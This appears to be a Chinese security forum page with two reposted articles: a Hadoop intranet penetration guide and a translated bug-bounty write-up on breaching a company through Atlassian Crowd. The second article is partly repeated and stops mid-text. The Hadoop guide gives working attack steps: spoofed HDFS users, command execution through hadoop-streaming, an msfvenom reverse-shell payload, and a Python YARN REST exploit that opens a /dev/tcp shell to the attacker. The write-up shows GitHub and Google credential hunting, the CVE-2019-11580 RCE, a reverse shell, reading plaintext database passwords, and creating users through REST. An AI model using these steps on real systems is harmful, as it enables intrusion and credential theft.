挖掘分布式系统——Hadoop 的漏洞
https://zhuanlan.zhihu.com/p/28901633
Hadoop 攻击库
https://github.com/wavestone-cdt/hadoop-attack-library
Hadoop Yarn REST API 未授权漏洞利用挖矿分析
https://www.freebuf.com/vuls/173638.html
Hadoop Yarn REST API 未授权漏洞利用
https://www.cnblogs.com/junsec/p/11390634.html
Hadoop safari : Hunting for vulnerabilities
http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
Hadoop 安全问题介绍以及安全加固
https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&mid=2651013365&idx=1&sn=62a561cf8e11cee5df554f3757a4d48e&chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6#rd
查看全部
最近因为某些原因学习接触到了开源的大数据框架:Hadoop,该框架允许使用简单的编程模型跨计算机集群对大型数据集进行分布式处理。它旨在从单个服务器扩展到数千台机器,每台机器都提供本地计算和存储,详细概念知识背景我这就不介绍了,各位自行学习。
所以自己启发了这个大数据的框架是否有安全问题,毕竟Hadoop在大型企业是很常见的(之前参与某单位渗透测试也碰见过),可能有同学没见过,这是因为Hadoop一般在内网中部署,业务端口不对外的,估如果没进行到内网横向渗透阶段是比较难见到的。
本文技术含量可能不高,攻击手法等均非原创,写本文的出发点是自己遇到的时候百度相关漏洞,知识点过于零散且这块资料较少,所以本文进行了搜集整理,实现一些复现,让各位在内网渗透的过程中如果遇到以最少的时间成本、不需要深入了解hadoop即可实现攻击、拿到权限的目的。
Hadoop 是个生态圈,非单一软件,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等组件提供支持。
环境准备及说明
hadoop 版本: 2.7.1(节点) 2.7.7(kali攻击机)
目前最新稳定版本已经为 3.2.1,在 3.x 系列下未试验过不保证均存在以下安全问题。
采取完全分布式模式部署
管理 Hadoop 的用户名:hadoop
主机名Ip功能master192.168.1.200主节点(管家角色、管理从节点)slave1192.168.1.201从节点1kali192.168.1.8kali攻击机
设置 Hadoop 攻击环境
提前设置工作环境以执行某些特定的攻击
1、下载 Hadoop 安装包
wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz
2、解压
tar xvf hadoop-2.7.7.tar.gz
3、设置JAVA_HOME环境变量
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386
4、(可选)将Hadoop的bin路径添加到PATH环境变量
export PATH=$PATH:/opt/hadoop-2.7.7/bin
5、测试
hadoop version
6、下载 Hadoop 攻击包(后续使用)
git clone https://github.com/wavestone-cdt/hadoop-attack-library.git
Hadoop 存在的安全问题汇总1、信息收集
获取目标环境配置
必须在客户端 (kali) 的不同文件中配置几个集群参数,才能与 Hadoop 集群进行交互。
在内网中如何确定某台机器为Hadoop两种办法:
1、通过端口探测的方式(nmap),
2、通过 http 访问某些业务端口确定hadoop
1、在 Hadoop 攻击包中存在 HadoopSnooper,该脚本允许攻击者通过Hadoop组件的 Web 界面上公开的配置文件轻松检索合适的最小客户端配置。
我这边的话就不采取脚本的方式而是手工的方式(初次手工熟悉过程).
进入在kali中hadoop的配置目录: <hadoop_installation>/etc/hadoop
2、手工访问8088或50070、8042、16010等端口查看 conf 配置,脚本就是爬取 hadoop 配置生成到本地,实现自动化。
hadoop 相关端口详情后面介绍,打开下面的链接:
http://192.168.1.200:50070/conf
我们先提取fs.defaultFS保存到本地core-site.xml文件内(conf 内存在大量 Hadoop 的配置信息,这边算是信息泄露一个点,无验证即可访问到。)
3、执行hdfs命令访问hadoop中hdfs
hdfs 为 Hadoop 分布式文件系统 (HDFS), 简单理解: 该文件系统跟本地文件系统一样均可用来存放数据、文件,不同的是它是分布式,数据存在多台机器的本地系统上,也就是说 HDFS 还是需要依赖于本地文件系统。
查看 hdfs 文件系统的根目录,存在 3 个目录。
hdfs dfs -ls /
假设前面的core-site.xml未配置成功,访问 hdfs 根目录则会出现本地根目录.
Hadoop 部分重要服务端口
以下的端口都是我们渗透的过程中会遇到的
1、Hdfs 部分服务端口
端口作用
9000fs.defaultFS,如:hdfs://172.25.40.171:9000 50070dfs.namenode.http-address 监控状态http页面端口
这个9000端口的作用是前面我们把hdfs://master:9000写入了core-site.xml文件,让我们实现了访问hdfs,假设在之前的配置文件不写的话即可通过指定的方式访问hdfs dfs -ls hdfs://master:9000/
50070则是可以通过 http 页面查看 hdfs 状态。
http://192.168.1.200:50070/
这个 Live Nodes 比较重要能查看到当前集群存活的节点信息。
比较重要的还有Utilities,即可以浏览文件系统 (HDFS),和查看日志(可能留存敏感信息)
这边即是图形界面访问,之前我们是通过命令行方式
均可实现 download,在真实内网渗透中这时候你就可以扒扒看是否有你需要的数据。
文件所有者是hadoop,权限为rwxr-xr-x意味着可读不可写。突破实现写的问题我们后面展开。
2、yarn部分服务端口
端口作用8088yarn.resourcemanager.webapp.address,YARN的http端口
http://192.168.1.200:8088/cluster/nodes
可以查看集群节点情况以及作业提交情况(后续攻击需要提交作业)
3、zookeeper 部分服务端口
端口作用2181ZooKeeper,用来监听客户端的连接
zookeeper 属于 Hadoop 生态圈之一,存在未授权访问的问题
echo envi|nc 192.168.1.200 2181
可以存在部分敏感信息
连接 ZooKeeper 服务端
./zkCli.sh -server 192.168.1.200:2181
4、HBASE 部分服务端口
端口作用16010hbase.master.info.port,HMaster的http端口
Hbase 是非关系型分布式数据库,访问是没权限校验的
如果是hbase集群内的节点执行hbase shell即可以增删改查hbase
非集群节点使用Java API即可,网上有现成写好的方法实现操纵2、浏览 HDFS 数据
浏览 HDFS 数据有两种不同的方法:
1、WebHDFS API
2、Hadoop CLIWebHDFS
关于 WebHDFS 的访问方式前面简单提及了,就是通过访问50070端口的方式,但是默认是关闭,之前的页面只能 download,无法 put 等,需要通过hdfs-site.xml文件中的以下指令在群集端配置此功能的激活:
dfs.webhdfs.enabled: true
因为默认关闭,所以一般有业务需求才会开启,这边就不演示了,相关 REST API 语法自行查找。
Hadoop攻击包 中提供了一个hdfsbrowser.py脚本实现浏览的功能,主要是适应场景是无法进行 web 浏览访问,无 Hadoop 客户端的情况。
Hadoop CLI
hadoop fs 命令等同于 hdfs dfs
hadoop fs -ls hdfs://master:9000/ 列出根路径的内容
hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/
上传文件被拒绝,由于攻击机kali当前用户为umask,不具备上传权限。
实现突破的方式
1、修改环境变量:export HADOOP_USER_NAME=hadoop
因为脚本在获取用户名的时候就是采取读环境变量的方法,这边直接篡改掉。
2、创建一个与 hdfs 具备权限的同名用户去访问(不推荐,在某些情况下(依托跳板机)可能不具备创建用户等权限,且徒增账号增加危险性)
3、如果采用JAVA API的方式进行hdfs操作可以在代码中设置:
System.setProperty("HADOOP_USER_NAME","hadoop");
或者传参的方式
java -D HADOOP_USER_NAME=root
Hadoop API文档:
https://hadoop.apache.org/docs/stable/api/index.html
3、免密登录
在分布式架构下因为需要master节点要启动 Hadoop 每个进程 (datanode, namenode 等这些进程),都需要手动输入启动进程所在的机器(集群节点)的用户密码。以及在关闭时,也是需要手动输入密码,这样过于繁琐。所以一般都会配置集群机器之间使用秘钥登录,这样就无需手动输入密码了。
这就暴露出一个问题,假设拿到了集群中master节点的用户权限 (shell),那它可以通过免密登录到集群中任何一台节点,意味着整个集群沦陷。
官方配置文档把配置免密 ssh 作为配置 hadoop 的前提条件,且几乎国内所有的配置教程也采用免密 ssh
1、我先把master与slave1之间ssh密钥登录去掉,然后启动hadoop相关业务.从图中可以看大在去掉密钥的情况下我输入了2次密码,分别是master和slave1,假设集群数量为上百上千,光输密码这个工作量就是很大的。
2、master节点上生成公钥分发到所需的节点上,启动 hadoop 服务未出现要密码,实际中则可利用这一点来登录到任意节点上
但这边就会出现 1 个问题,master是可以无密码登录任意节点,但是任意节点无法无密钥访问到其他节点乃至master
但是我网上查看了些搭建Hadoop集群的教程,发现有些教程密钥登录这一步骤给的操作最终是可以实现集群任意节点间登录的,所以这个情况需要看实际中运维人员怎么部署的。
所以拿到 shell 后可以看下authorized_keys文件内是什么情况
发现所有节点ip信息可以利用以下方式:
hosts 文件 /一般写一个模板然后分发到所有节点
内部 DNS
50070 端口上的 Live Nodes
ip 可能连续 /例如 192.168.1.200 201 2024、执行远程命令
通过访问之前的http://192.168.1.200:50070/conf页面获取到如下name的value信息并且应用到kali本地hadoop客户端。(如果部分信息如可尝试更换端口)
1、hdfs-site.xml
<configuration> <property> <name>dfs.namenode.secondary.http-address</name> <value>master:50090</value> </property></configuration>
2、core-site.xml
<configuration> <property> <name>fs.defaultFS</name> <value>hdfs://master:9000</value> </property></configuration>
3、yarn-site.xml
<configuration> <property> <name>yarn.resourcemanager.hostname</name> <value>master</value> </property></configuration>
4、mapred-site.xml
<configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>master:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>master:19888</value> </property></configuration>
执行单个命令
例如执行命令
cat /etc/passwd
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper "/bin/cat /etc/passwd" -reducer NONE
解释:
hadoop-streaming-2.7.7.jar:
http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html
-input:这将作为要执行的命令的 MapReduce 的输入提供,仅在该文件中至少放置一个字符,此文件对我们的目标无用
-output:MapReduce 将使用此目录写入结果,_SUCCESS 否则将失败
-mapper:要执行的命令,例如 "/bin/cat /etc/passwd"。输出结果将写入 -output 目录
-reducer NONE:不需要 reduce 执行单个命令,映射器就足够了
检测 output 情况:命令执行完出现如下字眼说明执行成功。
hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000
成功执行命令且写入进 output 目录
获取 meterpreter
上述执行单个命令的方式,每次只能执行一次写入一次,不够灵活存在局限性,下面采取反弹得到 meterpreter 的方式。
1、生成 payload
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload
2、put payload 到 hdfs (不带目录即默认目录 /user/hadoop)
hadoop fs -put msf.payload
3、msf 监听
4、执行反弹
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background
-file /本地的 meterpreter 可执行文件上传到 HDFS 上的路径
-mapper /可执行的 meterpreter 的 HDFS 路径
-background /后台运行
5、msf 成功建立连接
=0.875em
这边可以看到得到的 shell 是slave1的,这是因为MapReduce作业的分布式性质,随机落到某个集群节点,这边的payload需要使用reverse shell反弹的,因为如果采用正向连接,假设集群节点众多,你可能不知道要连接到哪个 ip.
假设落到 slave 上但是我需要 master 权限,只要 ssh 免密过去就好了。关于这个问题前面也提及了。
5、Hadoop Yarn REST API 未授权漏洞利用
YARN 是 hadoop 系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把 MapReduce 计算框架作为一个应用程序运行在 YARN 系统之上,通过 YARN 来管理资源。简单的说,用户可以向 YARN 提交特定应用程序进行执行,其中就允许执行相关包含系统命令。yarn 默认 8088 端口
1、检测漏洞存在方式:
curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application
2、漏洞利用 python 代码:
import requeststarget = 'http://192.168.1.200:8088/'lhost = '192.168.1.8' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)print(resp.text)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN',}print (data)requests.post(url, json=data)
3、nc 监听 9999 端口得到 shell
4、msf 也提供了漏洞模块,这边就不演示了。
msf5 > use exploit/linux/http/hadoop_unauth_exec
这边提供一个 vulhub 的关于 Yarn REST API 未授权漏洞利用的靶场链接,各位可自行测试,就无需搭建 Hadoop 环境了。
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
6. 暂定
Hadoop 作为一个生态圈存在,存在的安全问题自然很多。
这边算是先暂定为 1.0 版本,后续陆续更新增加丰富。安全加固
攻破 Hadoop 集群并不是非常难。这主要是因为默认安全机制的不严格,以及生态环境的复杂性而导致的。不仅如此,各大发行版也存在许多传统漏洞。
1、开启 kerberos 认证,参考:
http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html
2、敏感页面以及目录最好也不要对普通用户开放,可 nginx 方向代理、iptables 解决。
(jmx/logs/cluster/status.jsp/)
3、hadoop 集群单独部署 做好安全监控发现被攻击迹象及时高警
4、避免让服务在公网中暴露
5、不要在边缘节点布置应用
6、更新软件版本参考
挖掘分布式系统——Hadoop 的漏洞
https://zhuanlan.zhihu.com/p/28901633
Hadoop 攻击库
https://github.com/wavestone-cdt/hadoop-attack-library
Hadoop Yarn REST API 未授权漏洞利用挖矿分析
https://www.freebuf.com/vuls/173638.html
Hadoop Yarn REST API 未授权漏洞利用
https://www.cnblogs.com/junsec/p/11390634.html
Hadoop safari : Hunting for vulnerabilities
http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
Hadoop 安全问题介绍以及安全加固
针对某国际信息通信公司从前期探测到内网提权的一次成功漏洞测试(转)
Web安全渗透 • fireant 发表了文章 • 0 个评论 • 476 次浏览 • 2020-04-25 14:42
本文作者为印度尼西亚安全专家YoKo Kho,漏洞众测平台Bugcrowd MVP,具备12多年行业的资深信息安全Web漏洞挖掘和渗透测试经验, 拥有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多项技能认证。《Bug Hunting 101》作者。
从Github发起探测侦察
前期,我已经收集了目标公司将近数千的子域名,但有了这些东西,我却有点无从下手,于是乎我只有从原始的目标公司个人信息收集入手。我尝试从Github上去发现一些目标公司开发人员留下的蛛丝马迹,这不这个视频-Github Recon and Sensitive Data Exposure(从Github平台探测发现敏感数据)给了我一些启发。
其中主要讲述的是如何从Github被上传代码库中发现凭据类敏感信息,然后去验证受影响公司的相关服务,测试是否有效,但是,从中我也得到另外的信息收集思路。我接下来做的是:
1、收集目标公司泄露在Github上的密码凭据(不管是否有效),然后尝试去发现密码规律,这样做的原因是从中或许能发现管理员在用户注册分配密码时预先会给定的一些默认密码,这种思路在后续我们会用到。非常不错,我幸运地在Github平台收集到了与目标公司相关的近50个密码凭据信息:
2、收集目标公司相关的IP地址。这样做主要有几种考虑:一是我们可以从一些公开的Github漏洞报告中去发现目标公司相关的IP地址,因为白帽们提交的漏洞报告多少总会包括一些细节分析,才会被众测平台接收,虽然有些包含目标系统内部资产信息的漏洞有时候也会存在误报可能,但是我们可以从这些公开披露的漏洞中去寻找一些IP线索,总结规律,尝试从中发现一些开发代码库或系统信息。这不,我从bugcrowd平台就发现了自己提交的与目标公司Github相关的5个P1严重级漏洞:
二是这样方便后续我们做内网探测时,可以更快地连接到内部网络相关的系统资产;三是通过目标公司泄露在Github上的信息,可以间接判断出目标公司的开发习惯和开发文化,比如我可以通过上述信息在两三个小时就能弄清其大概的开发框架和内网应用。最后,这样做也能从代码审计层面去发现目标公司在用服务的潜在问题。执行了以上几个前期步骤后,就可以针对目标公司收集到很多的线索信息。
利用Github进行密码探测
之前那个视频Github Recon and Sensitive Data Exposure中,涉及到了密码安全问题,主要是:一些公司内部开发人员在使用类似Github的协同代码平台时犯下的错误,比如,会把包括相关密码信息的代码直接上传到Github上,这要么是太大意,要么是完全不知道Github有“隐私”功能,那么这种错误就有可能被恶意攻击者发现并利用。对于想要进行内网测试的攻击者来说,这种开发错误还是非常有用的。
接下来,我们需要做的就是登录我们自己的Github账号,用以下搜索请求进行搜索:password “.target.com”
target.com “password_value_here”
target.com是目标公司的网站域名,当然“password”字段也可替换成telnet、ftp、ssh、mysql、jdbc、oracle等特定关键字。虽然我不太了解Github的查询机制,但利用这两个搜索语法我发现了很多有用的东西。
如果你通过上述语法发现某些项目代码存在密码泄露,那么,可以继续深挖,比如可以针对特定代码库和特定开发者用户进行搜索查询:
或者再找找该开发者的其它代码库。如果这些搜索方式都没啥发现,那么我们可以去找找哪些与当前项目开发者或拥有者存在开发协作关系或互动,然后再针对这个用户再继续用上述语法搜索一遍。以下为我总结的Github信息收集(Recon)流程图:
活用Google Dork搜索语法收集信息
接下来,我尝试用Google Dork搜索,这里我用到的语法关键字是目标公司的一个内部非公开子域名和相关密码模式,该内部子域名是我在第一阶段Github平台中发现的,当时通过它我又关联到了好几个子域名。由于这些子域名无法通过外网访问到,我猜想这些子域名是目标公司用于开发之用的。
虽然这些子域名是内部域名,但我还是想尝试看看Google大法的神奇,于是就用以下Google Dork语法进行了搜索:site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
竟然真的有所发现!从中我发现了目标公司内部域名和服务端相关的大量密码凭据(如FTP/SSH)和内部IP地址等信息,尽管它们需要从内网才能访问或利用,但也算有所发现。
通过调整搜索关键字,如已知的IP地址、产品应用(如Oracle、MySQL、MSSQL等) 、服务名称 (FTP, SSH, DB等)和其它登录键值字段(如password、pwd、pass、username、userid等),或与登录相关的dashboard、cms等内容。
另外,通过Google大法,我还在某些众测平台披露的漏洞报告中发现了目标公司相关的4个账号,在披露漏洞中这4个账号都可以访问到顾客数据,而且这些账号都使用了我在Github中发现的密码模式。
另外,我还发现了不在测试范围内的另一超级管理员账号(super admin),该账号信息涉及目标公司客户的多项交易数据,可惜它所属于的系统并不在于我渗透测试范围内,为了保密只放出具体漏洞报告示例,账号信息就不截图了。
通过旧版本Atlassian Crowd应用发现未授权RCE漏洞
手上有了一堆内网信息和其密码配置模式,但还缺少一个有效的内网访问渠道。为此,我又想从其子域名中发现更多线索,这次我用到了域名和主机可视化发现工具aquatone。之后我发现了目标公司在用的一个老版本服务端,从其显示线索中来看,只有一些带有类似 1st words、2nd words、3rd words和crowd关键字的可点击链接,其中的“crowd”引起了我的注意,于是我点击了“crowd”的关键字链接,然后它跳转到了一个Atlassian Crowd应用的子域名网站,从中注意到是2017年的版本。
面对该Atlassian Crowd应用,我想有三种可利用方式:可测试一些用过的账户密码;
可测试发现未修复的补丁;
可测试发现配置型漏洞。
当然,首先可用Google来搜索其漏洞利用方式:
经过一番查找,我发现了该版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看该漏洞是否存在公开的利用代码(exploit),然后我在Github中发现了这个远程代码执行(RCE)的exploit:
接下来的就是调试当前Atlassian Crowd应用是否存在该漏洞了。可以在其/admin/路径下的上传操作端uploadplugin.action点击查看,如果当前Atlassian Crowd应用回显了一个错误消息“HTTP Status 400 – Requires POST” ,那么这种情况说明它是存在该RCE漏洞的,也就是说其uploadplugin插件可以被未授权利用。
RCE代码执行
现在,我们从https://github.com/jas502n/CVE-2019-11580下载漏洞利用代码CVE-2019-11580.py,以当前Atlassian Crowd应用为目标,它确实存在CVE-2019-11580漏洞,并反弹回了一个webshell,如下:
接着,就可以通过浏览器浏览http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,访问到这个webshell了,当然其中的command_here可以替换成其它系统命令。如下:
所以,总结来看,该漏洞利用有三个好处:1、无需任何用户账户密码;
2、RCE是以root身份执行的;
3、该Atlassian Crowd应用无任何安全防护。
但这还不够,我们需要一个能与目标系统执行交互的Webshell!
这里,我的想法是通过我的Attacker主机,实现对目标应用系统的操控交互。通常我用的是PentestMonkey上提供的反弹Shell,但可惜的是,其中的交互命令在与我的Attacker主机连接执行时没有任何回连显示,很可能是目标Web应用过滤了如> & 以及‘ “这些特殊字符。
为此,我只有在我的Attacker主机放置了一个回连python脚本reverse.py,然后通过之前的RCE命令迫使目标Web应用来对它执行下载,然后再通过我的Attacker主机连接它,实现控制。具体的python回连脚本reverse.py如下:
目标Web应用从我的Attacker主机中下载python回连脚本reverse.py:
就这样,我们就向目标Web应用系统中植入了一个反弹脚本,之后,需要对该脚本文件进行chmod权限修改以便我们能访问执行,如可以把它修改为700:
目标Web应用下载了reverse.py后,我们这边的Attacker主机需要设置一个监听端口:
$ nc -lvp <our_port>
然后,用之前的RCE shell使目标Web应用执行脚本reverse.py。但是,这还不算真正意义上的交互shell,如果把它设置为伪终端方式就更好了,所以,可以在终端窗口中执行以下python命令实现脚本的伪终端显示:
python -c 'import pty;pty.spawn("/bin/bash")'
到此,我们就获得了目标Web应用系统的一个控制shell:
通过运行reverse.py,我们就能无障碍地去连接目标Web应用系统中的数据库或其它运行服务了:
内部系统探测
这里我们获得的RCE,一个有利因素就是该服务器位于目标公司的内部网络中,当在上述交互webshell是去ping一些目标公司的公开系统时,返回响应中得到的是一些内部IP地址。也就是说,我们在这个全球知名大型信息通信技术公司的内部网络系统中实现了据点潜伏。之前阶段我们收集获得的大量内部网络信息,在这里就可派上用场了。但是,为了不造成严重影响破坏,不能再深入了,就点到为止吧。声明:以上主要展示前期信息收集对后期渗透测试的重要性,最终说明问题即可收手,另外这些测试都是在允许授权之内开展的。
最终,尽管发现的该漏洞不在众测范围之内(out-scope),但确实是一次奇妙的渗透之旅。能以信息收集、目标分析和线索映证测试的方式,从知名信通公司的外部网络中打到内部系统,并实现RCE,已经非常不简单了。就像我们白帽平时开玩笑说的“要在漏洞测试中发现RCE漏洞,简单就是天方夜谭”。之后我及时上报了该漏洞,并收到目标公司的快速响应。
连接内部Crowd应用数据库
上述因为目标公司部署有Atlassian Crowd应用的系统存在漏洞,导致了最终我的RCE。那或许有人会问,能不能尝试登录其它的Atlassian Crowd应用或相关数据库呢?
我们也来看看。经测试发现,为配合Atlassian Crowd的使用,目标公司在该服务器上也安装了Atlassian协同办公组件Confluence,而我对Atlassian Crowd和Atlassian Confluence的协同工作机制根本不懂,但我在netstat命令下观察到了数据库连接,所以我想其中肯定涉及到一些密码信息的存储。经过对Atlassian Confluence的研究分析,我发现其密码信息存储在<confluence_home>/confluence.cfg.xml文件中。
使用locate命令,我在目标系统中发现了confluence.cfg.xml文件,更高兴的是,其中的密码信息完全是明文:
就这样,利用其中的密码信息,我成功登录到了其相关数据库:
登录了上述Crowd数据库之后,我就在想能不能把这个登录密码进行修改,换成我们自己的呢?我觉得应该是可行的,因为Atlassian在官方文档里有密码替换更改的说明,在如下介绍中,我们可以用哈希过的字符串去替换管理员原来的密码。
由于这是一个漏洞测试项目,因为没有密码修改授权,所以我们不能擅自进行这种密码替换更改。但如果在真实的攻击场景下,攻击者完全可以实现这种操作,对系统造成影响。那如果不能修改替换密码,我们可以选择创建一个新账户的方法来测试。经过查找发现,只要知道管理员账号密码,就可以通过REST请求方式来创建Atlassian Crowd的新账户:
上述操作的请求格式如下:curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'
> {
> "email": "your@email_here.tld",
> "name": "your_new_user_here",
> "password": {
> "value": "your_new_user_password_here"
> }
> }
> 'your_new_user_here = 将要创建的账户名
crowd_administrator_username_here = Crowd的管理员名称
crowd_administrator_password_here = Crowd的管理员密码
your@email_here.tld = 将要创建账户的绑定邮箱
your_new_user_password_here =将要创建账户的密码
之后,进行账户激活,我们就可成功创建一个新的Crowd账户:
然后进行登录:
经验总结
1、前期的信息收集(Recon)至关重要,通过其我们可以了解目标应用的API工作机制和开发环境等因素。在此借用大牛@Mongobug和@NahamSec对Recon的原话:
“前期信息收集(Recon)不仅可以发现目标系统的资产环境和过期版本信息,还可以掌握相关的应用架构,并获取到一些很难探测到的功能特性。因此,成功的测试需要在前期信息收集和实际渗透过程中保持一种平衡。”
2、不要丢掉任何你搜集到的数据和信息,说不定在之后的测试中可以发挥作用。该次测试中,我就是综合利用了前期收集的有用线索,最终成功在后续阶段实现了突破验证了RCE漏洞,收获了$9,000的奖励;
3、享受你的每次漏洞测试或渗透测试活动,不要太过于看重赏金(Bounty)。尽量去测试那些合法或官方的项目,多动手多思考多学习,这样才能快速地提高你的测试技能,扩展你的知识面;
4、可以多参与一些官方的漏洞责任披露项目,从中好好练手,储备经验;
5、高手和大牛都不是天生的,他们曾经也是菜鸟。
转载自FreeBuf.com 查看全部
本文作者为印度尼西亚安全专家YoKo Kho,漏洞众测平台Bugcrowd MVP,具备12多年行业的资深信息安全Web漏洞挖掘和渗透测试经验, 拥有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多项技能认证。《Bug Hunting 101》作者。
从Github发起探测侦察
前期,我已经收集了目标公司将近数千的子域名,但有了这些东西,我却有点无从下手,于是乎我只有从原始的目标公司个人信息收集入手。我尝试从Github上去发现一些目标公司开发人员留下的蛛丝马迹,这不这个视频-Github Recon and Sensitive Data Exposure(从Github平台探测发现敏感数据)给了我一些启发。
其中主要讲述的是如何从Github被上传代码库中发现凭据类敏感信息,然后去验证受影响公司的相关服务,测试是否有效,但是,从中我也得到另外的信息收集思路。我接下来做的是:
1、收集目标公司泄露在Github上的密码凭据(不管是否有效),然后尝试去发现密码规律,这样做的原因是从中或许能发现管理员在用户注册分配密码时预先会给定的一些默认密码,这种思路在后续我们会用到。非常不错,我幸运地在Github平台收集到了与目标公司相关的近50个密码凭据信息:
2、收集目标公司相关的IP地址。这样做主要有几种考虑:一是我们可以从一些公开的Github漏洞报告中去发现目标公司相关的IP地址,因为白帽们提交的漏洞报告多少总会包括一些细节分析,才会被众测平台接收,虽然有些包含目标系统内部资产信息的漏洞有时候也会存在误报可能,但是我们可以从这些公开披露的漏洞中去寻找一些IP线索,总结规律,尝试从中发现一些开发代码库或系统信息。这不,我从bugcrowd平台就发现了自己提交的与目标公司Github相关的5个P1严重级漏洞:
二是这样方便后续我们做内网探测时,可以更快地连接到内部网络相关的系统资产;三是通过目标公司泄露在Github上的信息,可以间接判断出目标公司的开发习惯和开发文化,比如我可以通过上述信息在两三个小时就能弄清其大概的开发框架和内网应用。最后,这样做也能从代码审计层面去发现目标公司在用服务的潜在问题。执行了以上几个前期步骤后,就可以针对目标公司收集到很多的线索信息。
利用Github进行密码探测
之前那个视频Github Recon and Sensitive Data Exposure中,涉及到了密码安全问题,主要是:一些公司内部开发人员在使用类似Github的协同代码平台时犯下的错误,比如,会把包括相关密码信息的代码直接上传到Github上,这要么是太大意,要么是完全不知道Github有“隐私”功能,那么这种错误就有可能被恶意攻击者发现并利用。对于想要进行内网测试的攻击者来说,这种开发错误还是非常有用的。
接下来,我们需要做的就是登录我们自己的Github账号,用以下搜索请求进行搜索:
password “.target.com”
target.com “password_value_here”
target.com是目标公司的网站域名,当然“password”字段也可替换成telnet、ftp、ssh、mysql、jdbc、oracle等特定关键字。虽然我不太了解Github的查询机制,但利用这两个搜索语法我发现了很多有用的东西。
如果你通过上述语法发现某些项目代码存在密码泄露,那么,可以继续深挖,比如可以针对特定代码库和特定开发者用户进行搜索查询:
或者再找找该开发者的其它代码库。如果这些搜索方式都没啥发现,那么我们可以去找找哪些与当前项目开发者或拥有者存在开发协作关系或互动,然后再针对这个用户再继续用上述语法搜索一遍。以下为我总结的Github信息收集(Recon)流程图:
活用Google Dork搜索语法收集信息
接下来,我尝试用Google Dork搜索,这里我用到的语法关键字是目标公司的一个内部非公开子域名和相关密码模式,该内部子域名是我在第一阶段Github平台中发现的,当时通过它我又关联到了好几个子域名。由于这些子域名无法通过外网访问到,我猜想这些子域名是目标公司用于开发之用的。
虽然这些子域名是内部域名,但我还是想尝试看看Google大法的神奇,于是就用以下Google Dork语法进行了搜索:
site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
竟然真的有所发现!从中我发现了目标公司内部域名和服务端相关的大量密码凭据(如FTP/SSH)和内部IP地址等信息,尽管它们需要从内网才能访问或利用,但也算有所发现。
通过调整搜索关键字,如已知的IP地址、产品应用(如Oracle、MySQL、MSSQL等) 、服务名称 (FTP, SSH, DB等)和其它登录键值字段(如password、pwd、pass、username、userid等),或与登录相关的dashboard、cms等内容。
另外,通过Google大法,我还在某些众测平台披露的漏洞报告中发现了目标公司相关的4个账号,在披露漏洞中这4个账号都可以访问到顾客数据,而且这些账号都使用了我在Github中发现的密码模式。
另外,我还发现了不在测试范围内的另一超级管理员账号(super admin),该账号信息涉及目标公司客户的多项交易数据,可惜它所属于的系统并不在于我渗透测试范围内,为了保密只放出具体漏洞报告示例,账号信息就不截图了。
通过旧版本Atlassian Crowd应用发现未授权RCE漏洞
手上有了一堆内网信息和其密码配置模式,但还缺少一个有效的内网访问渠道。为此,我又想从其子域名中发现更多线索,这次我用到了域名和主机可视化发现工具aquatone。之后我发现了目标公司在用的一个老版本服务端,从其显示线索中来看,只有一些带有类似 1st words、2nd words、3rd words和crowd关键字的可点击链接,其中的“crowd”引起了我的注意,于是我点击了“crowd”的关键字链接,然后它跳转到了一个Atlassian Crowd应用的子域名网站,从中注意到是2017年的版本。
面对该Atlassian Crowd应用,我想有三种可利用方式:
可测试一些用过的账户密码;
可测试发现未修复的补丁;
可测试发现配置型漏洞。
当然,首先可用Google来搜索其漏洞利用方式:
经过一番查找,我发现了该版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看该漏洞是否存在公开的利用代码(exploit),然后我在Github中发现了这个远程代码执行(RCE)的exploit:
接下来的就是调试当前Atlassian Crowd应用是否存在该漏洞了。可以在其/admin/路径下的上传操作端uploadplugin.action点击查看,如果当前Atlassian Crowd应用回显了一个错误消息“HTTP Status 400 – Requires POST” ,那么这种情况说明它是存在该RCE漏洞的,也就是说其uploadplugin插件可以被未授权利用。
RCE代码执行
